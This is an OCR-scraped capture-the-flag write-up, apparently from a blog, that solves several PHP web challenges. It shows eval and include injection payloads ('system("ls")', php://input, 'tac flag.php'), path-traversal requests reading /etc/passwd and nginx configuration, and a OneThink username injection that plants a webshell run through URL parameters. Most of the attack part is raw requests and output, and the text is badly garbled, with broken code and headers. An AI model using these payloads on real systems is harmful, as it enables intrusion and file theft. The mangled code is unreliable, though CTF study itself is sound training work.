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<?php

include "flag.php";

$a = @$_REQUEST[ 'hello'];

if(!preg_match('/M\w*$/',%a )){
die('ERROR");

}

eval("var_dump($$a);");

show_source(___FILE_);

?>
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["chkphone"]=> string(33) "acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O" ["Hm Ivt 2¢
"1648393374,1648950704,1648984521,1649034867" ["browse"]=> string(55) "CFIZT:
["Hm_lpvt_2d0601bd28de7d49818249cf35d95943"]=> string(10) "1649037854" ["__
[" FILES"]=> array(0) { } ["_REQUEST"]=> array(1) { ["hello"]=> string(7) "GLOBALS" }
string(42) "flag{4ac726e1-e9ce-4bfc-95f6-93fe03e601df}" ["a"]=> string(7) "GLOBAL

include “flag.php”;
$a = @S _REQUEST[ hello’']:
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LOAD SPLIT EXECUTE TEST ~ sqQLl ~ XSS ~ = = SSTI ~ SH

URL
http://eci-2zef34v6cnbh96unozgh.cloudecil.ichungiu.com/

enctype

@@ Enzble POST  application/x-www-form-urlencoded - AL
Body

hello=GLOBALS
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<?php

include "flag.php";

$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE_ );

BRI Avar dumpliFg ] L E #rce T

flag.php index.php string(9) "index.php" <2php
include “flag. php”;

$a = @$_REQUEST[ hello |;

eval ( “var_dump($a);”);
show_source(_ FILE ):

BH/WLT
hello=system('tac flag,php’)
hello=file('flag.php’)

WA LA E
hello=hilight_file('flag.php")

hello=show_source('flag.php’)
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URL
http://eci-2ze8tecggtaydu619gt2.cloudecil.ichungiu.com/

enctype

@@ crable POST  application/x-www-form-urlencoded

Body
hello=system("ls")
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<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION[ 'nums'])){
$_SESSION[ 'nums'] 0;
$ SESSION['time'] = time();
$_SESSION[ 'whoami'] = 'ea’';
}

if($_SESSION[ 'time']+120<time()){
session_destroy();

}

$value = $ REQUEST[ 'value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION[ 'whoami']==($value[0].$value[1l]) && substr(md5($value),5,4)==0){
$_SESSION[ 'nums' J++;
$_SESSION[ ‘whoami'] = $str_rands;
echo $str_rands;

}

if($_SESSION[ 'nums']>=10){
echo $flag;

}
show_source(__FILE_ );
?>
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Errotetaborting (0)

session_start();
. L J it Y
require(’. /flag. php' ) ;

SPLIT

EXECUTE

i o T W ot et w

TEST ~ =1

http://eci-2ze8l101z33zoaevgazp.cloudecil.ichungiu

if(lisset ($_SESSIONL nums’ 1)) {

§ SESSION ' nums'] = 0 enctype
$_SESSION[' time’] = time| @) Enable POST
$_SESSION whoami’ ] = ’e:

} -

value[ ]=ea

if (§_SESSIONC time’ J+120<time (]

application/x-www-form-urle

session_destrov() :

include
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<?php
show_source(__FILE_ );
if(isset($_REQUEST[ 'path'])){
include($_REQUEST[ 'path']);
}else{
include( 'phpinfo.php');
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GET f?path=php://input HTJTP/1.1
Hos : $ q@2l.cloudecil.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:98.0) Gecko/20100101
Firefox/98.0

Accept:
text/html,application/xhtml+xml,application/xml;g=0.8,image/avifimage/webp,*/*,q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

Cookie: _jsluid_h=0f38f7a3fe514f733d78838b3ca88412

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 21

<tphp system("ls");?>|

L ;

Vary: Accept-Encoding
X-Via-JSL: 40a8666,-
X-Cache: bypass

<code> <span style="color::
<span style="color: #0000BE
style="color: #007700">(</s
style="color: #007700">);<k
#0000BB">$ REQUEST</spz
style="color: #DD0000" > 'pa
/>8tnbsp;&nbsp; &nbsp;&nl
#0000BB">$ REQUEST</spe
style="color: #DD0000">"pa
/>}else{<br />8nbsp;&nbsg
#DD0000" > 'phpinfo.php'</
[></span>

</spafg>
</codk>dle345aae.php
indexiphp

phpinfo.php
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GET /?path=php://input HTTP/1.1

Host: eci-2ze8oujsd7vyoelcq92l.cloudeci1.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:98.0) Gecko/20100101
Firefox/98.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,*/*,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HIK;q=0.5 ,en-US;q=0.3,en;q=0.2
Connection: close

Cookie: _ jsluid_h=0f38f7a3fe514f733d78838b3cas8412
Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Length: 36

<Pphp system("tac dle345aae.phpr);?>

T
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Connection: close
Vary: Accept-Encoding
X-Via-JSL: 4028666 -
X-Cache: bypass

<code><span style="color: #000000" >

<span style="color: #0000BB" > &It ?php8inbsp; <br />show source<
style="color: #007700" >(</span><span style="color: #0000BB">__FI|
style="color: #007700">); <br />if(isset(</span = <span style="color:

#0000BBE">$ REQUEST </span><span style="color: #007700" > [</spa
style="color: #DD0000">"path'</span > <span style="color: #007700"
/=>8inbsp;8inbsp;&nbsp;8tnbsp;include(</span><span style="color:
#0000BB">$_REQUEST </span><span style="color: #007700" > [</spa
style="color: #DD0000" > "path'</span = <span style="color: #007700"
/=}else{<br />8&nbsp;&nbsp;&nbsp;&nbsp;include(</span > <span s
#DD0000" > "phpinfo.php’</span> <span style="color: #007700">); <l
/=< /span=>

</span>
</code>$flag="flag{e6614474-9ec0-4f5a-8ce8-40f6f6e8b9a8}";
<?php CSDN @ThnPkm
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Raw | Headers | Hex

GET /fnanages/admin.php HTTP/1.1

Host eci-2ze87x156)2egpxd 1 ope.cloudecit.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:88.0) Gecko/20100101

Firefox/98.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;g=0.2

Connection: close
=httpelles -27e87xi5 62 egpxd 1 ope.cloudecil.ichungiu.com/index.php

' jsluid_h=6928413%bdac59e0d997f32a0760258

Upgrade-Insecure-Requests: 1

HTTP/1.1 302 Moved Temporarily

Date: Mon, 04 Apr 2022 03:50:54 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

content-text text/himlcharsat=gbk

Location: admin.php?module=index8name=php I
X-Via-JSL: 746ec97 -

X-Cache: bypass

Content-Length: 6

e
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https://blog.csdn.net/Oavinci/article/details/106172347?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522164904338416782092939564%252522%25252C%252522scm%252522%25253A%25252220140713.130102334..%252522%25257D&request_id=164904338416782092939564&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-3-106172347.142%255Ev5%255Epc_search_quality_down,157%255Ev4%255Econtrol&utm_term=%25E2%2580%259C%25E7%2599%25BE%25E5%25BA%25A6%25E6%259D%25AF%25E2%2580%259DCTF%25E6%25AF%2594%25E8%25B5%259B+2017+%25E4%25BA%258C%25E6%259C%2588%25E5%259C%25BA+zone&spm=1018.2226.3001.4187

Request

[ Raw T Params T Headgrs T Hex ]I

Response

[ Raw | Headers | Hex |

iET /manages/admin.g hp?module=...[J...f.,f...f.fetc;’passwdSmame=ph|HT P/1.1
lost: eci-2ze87xi56]2ehpxd 1 ope.cloudecit.ichungiu.com
Iser-Agent: Mozilla/s. i) " r
irefox/98.0

«ccept:
axt/html,application/xhtml+xml,application/xml;q=0.9.image/avif,image/webp */*:q=0.8
«cept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
;onnection: close

eferer: http://eci-2ze87xi56j2egpxd1ope.cloudecil.ichungiu.com/index.php

ookie: login=1; _jsluid h=6928413%ebdac69e0d997f32a0760288
lpgrade-Insecure-Requests: 1

e

00101

wWp X EFENGINXHIACE, (X 8K Znginx ) IR D
B IR AL SO AL B A /etc/nginx/nginx.conf

J Raw | Params | Headers | Hex |

Vary: Accept-Enceding

Vary: Accept-Encading
content-text: text/html;charset=gbk
K-Via-JSL: c67cbed,-

X-Cache: bypass

Content-Length: 1326

root:x
binx:1:1:bin:/bin:/sbin/neologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admx:3:4:adm:/var/adm:/sbin/nologin
Ipx:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/shin:/bin/sync
shutdownae6:0:shu tdovisylebinZ<hin,fshutdc

J Raw | Headers | Hex |

GET /manages/admin.php?module=_.././..//../.fetc/nginx/nginx.conf8iname=ph HTTP/1.1
Host: eci-2ze87xi56j2egpxd 1 ope.cloudecil.ichungiu.com

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101
Sirefox/98.0

Accept:

text/html, application/xhtml+xml.application/xml;q=0.9,image/avif,image/webp,*/*q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7 zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Connection: close

Referer: http://eci-2ze87xi56j2egpxd1ope.cloudecil.ichungiu.com/index.php
Cookie:login=1; _jsluid h=6928413%ebdac69e0d997f32a0760288
Jpgrade-Insecure-Requests: 1

NRREBEE—ITHEE T sites-enabled/default , £ x4

: # root html;
# index index.html index.htm;
# }
#}

# HTTPS server

#
Hserver {
# listen 443 ssl;

# server name localhost;

# ssl certificate  cert.pem;
# ssl certificate_key certkey;

# ss|_session_cache shared:SSL:1
# ssl_session_timeout 5m;

ssl ciphers HIGH!aNULL:MD5;
ssl_prefer_server ciphers on;

* %

location /{
root html:
index index.html index.htm;
}
}

include sites-enabled/default]

L1 i i
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J Raw | Farams | Headers | Hex |

J Haw | Headers | Hex |

GET /manages/admin.php?module=_.//...//..././etc/nginx/sites-enabled /default&name=ph
HTTR/1.1

Host: eci-2ze87xi56j2egpxd 1 ope.cloudecil.ichungiu.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv:98.0) Gecko/20100101
Firefox/98.0

Accept:
text/html.application/xhtml+xml,application/xml;q=0.9,image/avifimage/webp,*/*q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

Referer: http://eci-2ze87xi56j2egpxd 1 ope.cloudecil.ichungiu.com/index.php

Cookie: login=1; _jsluid h=6928413%ebdac6%e0d997f32a07560288
Upgrade-Insecure-Requests: 1

autoindex on R/RFTHF B XM K ThRE, HBLrT LT H FWH T
B #1155 /online-movies. ./

BF—, i@idrobots.txt, niEflag7Eflag.phpE

LOAD SPLIT EXECUTE

URL

TEST ~ sqQLl -~ XSS

try_files $uri $uri/ =404;

location ~ \.php$ {
fastcgi_split_path_in
fastcgi param SCRI

fvar/www/html$fastcgi_script_name;

H#fastcgi pass unix:/
fastcgi_pass 127.0.
fastcgi index index.
include fastcgi para

}
error_page 404 /404.html;

error_page 500 502 503 504 /50x
location = /50x.html {
root /var/www/html;

}

location fonline-movies {
alias /movie/:
autoindex on;

1

location ~ Aht{
deny all;
}
} CSDN @ThnPkm

LFI ~ SSTI ~ Sl

http://eci-2ze87xi56j2egpxd1ope.cloudecil.ichungiu.com/online-movies../var/www/html/flag.php

Fnahle POST

OneThink

FI A 2501 BT Zshelllt

OneThink1.0X - EFRAIT AXEBE B - #&2%, ZERNTEE
EAXERTIXANRR , BEEERRT
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https://www.anquanke.com/post/id/152584

g s -
ername=%250|  Change request method 39%C2%A08Ipassword=1234568irepassword=1234568
Change body encoding
Copy URL

Copy as curl command
Copy tofile

Paste from file

Save item

Don't intercept requests >

Do intercept >

Convert selection

URL-decode
URL. de key characters,
O S TN P

121 anrada all rharactarce

URL-encode as you type HTML »

Cut Cirl+X | BaseB4 >

‘ookie: PHPSESSID=ecpOb8hbe8afcr39u082h3djl6; jsluid h=4ab1464e4d941428b56929c884c3aTee

sernames=
524a%3D%24 GET%S5Ba%5D%3B%23%C2%A08 password =1234568trepassword=1234568temail=2545478889%40qq.com8verify=2fenp
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/Runtime/Temp/2bb202459¢30a1628513f40ab22fa0la.phpra=1s

2bb202459¢30a1628513f40ab22fa01a.php 4e819c¢837d54a6ed09abe77a8560a66f.php 865e8245bc0c525aad4a48bfb433d7c3e.php 8badceef8761el £2f

o U= Dess D NEs (Iaess Ous Crs B ek 7 cEEns 8 Ees @ Hacksar

Encryption + Encoding~ SQL~ XSS~ Other~

BFRE

g Load URL http://eci-2ze8aopd6o72i4341g2t.cloudeci.ichungiu.comyRuntime/Temp/2bb202459¢30a1628513f40ab22fal1a.phpgPa=Is

g.g Split URL

E t
‘&‘ [] Postdata [ Referer [ UserAgent [] Cookies  Clear Al
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Addons Application Data Public Runtime ThinkPHP Uploadd flag.php index.php install.php license.txt logo.png readme.html

O Oz Dese Dasg NRs Oasmss Owue Orne Be & Teshs 3B usEss @ Hadksar

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

@ Load URL http://eci-2ze8aopd6072i434 1g2t.cloudecii.ichungiu.com//Runtime/Temp/2bb202459¢30a1628513f40ab22fa01a.php?a=Is .././

) split URL : -
J'L P CSDM @ThnPkm

7> $flag = "flag {b35e23fb-3e87-4828-89b6-0c84379efd3f}";

O O=s Osse DEtE NmE {((etess Ousm s Bk 7 Xk 82 aEss @ Hacksar

Encryption ~ Encoding~ SQL ~ XSS~ Other ~

@l Load URL http://eci-2ze8aopd6072i4341g2t.cloudecii.ichungiu.com//Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php?a=tac ../../flag.php
CSDN @ThnPkm
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https://www.qqxiuzi.cn/bianma/qipanmima.php
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